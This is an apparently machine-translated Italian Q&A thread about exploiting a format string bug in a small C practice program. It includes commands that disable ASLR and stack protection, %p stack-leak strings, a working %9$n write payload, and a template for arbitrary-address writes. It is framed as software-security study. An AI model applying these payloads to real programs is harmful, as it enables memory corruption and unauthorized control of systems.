2014-11-19 31 views
5

Si supponga che ho il seguente codice:Come utilizzare Format String Attacco

#include <stdio.h> 
#include <stdlib.h> 
#include <fcntl.h> 

int num1 = 0; 

int main(int argc, char **argv){ 
    double num2; 
    int *ptr = &num1; 
    printf(argv[1]); 

    if (num1== 2527){ 
     printf("Well done"); 
    } 
    if(num2 == 4.56) 
     printf("You are a format string expert"); 
    return 0; 
} 

Sto cercando di capire come farlo bene, ma non riesco proprio a organizzare la mia mente con le guide su internet.

E 'supporre a qualcosa di simile:

./Program %p %p %p %p 

e poi

./Program $(printf "\xAA\xAA\xAA\xAA") %.2523d%n 

non riesco proprio a capirlo, Please help me fino in fondo.

Il punto principale di questo è lo sfruttamento di una stringa in un programma in esecuzione tramite la funzione di prinft. Ho bisogno di stampare "Ben fatto" e "Sei un esperto di stringhe di formato". Nel mio caso, tramite terminale/shell Linux. Come avviso di HuStmpHrrr: Si suppone che si tratti di White Hacking - Software Security

+1

compila anche? 'numb' ==> cosa? 'printf (argv [1]);' ==> cosa succede se 'NULL'? –

+0

'if (numb = 4.56)' ha un errore di battitura. Hai bisogno di '=='. – Bathsheba

+0

@Bathsheba prima di ciò, 'numb' dovrebbe essere definito [ok, minimo, dichiarato]. altrimenti, ** è [numb] (http://www.thefreedictionary.com/numb) **. –

risposta

6

Prima di tutto vi consiglio di leggere il libro Hacking: The Art of Exploitation. È molto buono.

Ora provo a spiegare come è possibile sfruttare il proprio programma. Presumo che tu conosca alcune nozioni di base sugli exploit delle stringhe di formato, quindi non devo ricominciare dall'inizio. Tuttavia è importante disabilitare ASLR e compilare l'eseguibile senza protezione dello stack.

# disable ASLR 
@> echo 0 | sudo tee /proc/sys/kernel/randomize_va_space 
# compile without stack protection 
@> gcc -g -fno-stack-protector -z execstack fmt.c 

ho modificato il programma un po ', così è più facile capire come l'exploit opere:

#include <stdio.h> 

int num1 = 0xdead; 

int main(int argc, char **argv){ 
    int num2 = 0xbeef; 
    int *ptr = &num1; 
    printf(argv[1]); 

    if (num1 == 0xabc){ 
     printf("Well done"); 
    } 
    if(num2 == 0xdef) 
     printf("You are a format string expert"); 

    printf("\n[DEBUG] num1: 0x%x [%p] num2: 0x%x [%p]\n", num1, &num1, num2, &num2); 
    return 0; 
} 

sto usando un Ubunty sistema a 64 bit. La dimensione del puntatore è 8 byte.

l'exploit

variabile num1

Prima di tutto cerchiamo di cambiare la variabile num1. L'indirizzo di num1 è memorizzato in ptr. ptr è una variabile locale in main, quindi viene messa in pila (tipo int *). Per esaminare lo stack possiamo usare l'identificatore di formato %p.

@> ./a.out %p.%p.%p.%p.%p.%p.%p.%p.%p 

uscita:

0x7fffffffdf78.0x7fffffffdf90.(nil).0x7ffff7dd4e80.0x7ffff7dea560.0x7fffffffdf78.0x200400440.0xbeefffffdf70.0x601040 
[DEBUG] num1: 0xdead [0x601040] num2: 0xbeef [0x7fffffffde84] 

Possiamo vedere che l'elemento 9 ha il valore 0x601040. È lo stesso del valore nel nostro messaggio di debug num1: 0xdead [0x601040]. Ora sappiamo che 0x601040 è il puntatore alla variabile num1 e si trova nello stack. Per modificare tale valore (scrivere in memoria), è possibile utilizzare l'identificatore di formato %n in combinazione con l'accesso diretto ai parametri %9$n per scrivere all'indirizzo memorizzato nella nona posizione di stack.

Per accedere al messaggio Complimenti abbiamo solo bisogno di scrivere 0xabc valori stdout e utilizzare %n di scrivere quel numero in memoria:

@> ./a.out `python -c "print('A' * 0xabc)"`%9\$n 

Io uso python per generare tale uscita. Ora il programma stampa "Ben fatto".

num2 variabile

Se diamo uno sguardo da vicino all'uscita vediamo che l'elemento 8 ha il valore beef. Questa è la nostra variabile num2. Non ho ancora capito, come sfruttare lo num2 ma provo a spiegare come farlo in teoria. Vogliamo inserire un indirizzo di memoria arbitrario nello stack. Questo indirizzo deve essere l'indirizzo che punta a num2 (0x7fffffffde84). Successivamente, possiamo usare il parametro %n per scrivere su quell'indirizzo. Per mettere un indirizzo in pila possiamo usare la stringa di formato.

@> ./a.out `printf "\x08\x07\x06\x05\x04\x03\x02\x01"` 

Il problema è che dobbiamo trovare la posizione di questa stringa di formato nello stack.

Le "A" e le "B" sono solo di riempimento ed è anche più facile trovare il nostro indirizzo nell'output. L'exploit è simile al modo in cui num1 exploit:

@> ./a.out ADDRESS`python -c "print('A' * VAL_TO_WRITE)"`PADDING%LOCATION_OF_ADDRESS\$n 

Il problema: Nel nostro scenario l'indirizzo del num2 è 0x7fffffffde84 (cioè 0x00007fffffffde84). Quell'indirizzo non può essere scritto perché 0x00 è il C-String Terminator. Quindi non possiamo inserire l'indirizzo nella nostra stringa di formato.

+0

Funziona per il "Ben fatto" se scrivo "./Program python -c" print ('A' * 0x9df) "% 7 \ $ n". Ma qual è l'equivalente in printf (senza usare python). E perché stampa 2529 di "A"? (Per 0x537 stampa 1024 di 'A') – Guy

+0

Il codice 'python -c" print ('A' * n) 'stampa' n' "A" caratteri nello stdout. Nel tuo caso 'python -c" print (' A '* 0x9df) 'stampa 0x9df (hex) = 2527 (dec)" A "s. Devi farlo per scrivere il numero desiderato con lo specificatore di stringa di formato '% n'.Non sono un esperto di programmazione bash, ma potreste farlo come 'printf 'A% .0s' {1..2527} && echo% 9 \ $ n'. –

+0

Grazie, aspetterò un'altra risposta per la parte del galleggiante. È interessante però che cosa e come sia riuscito a scrivere in un indirizzo arbitrario in memoria (diretto a un indirizzo specifico) in [link] (http://stackoverflow.com/questions/7459630/how-can-a-format-string -vulnerability-be-exploited) - Funzionerà anche su python? E se sì, come inserire un numero senza usare 2527 lettere fittizie prima del% n? – Guy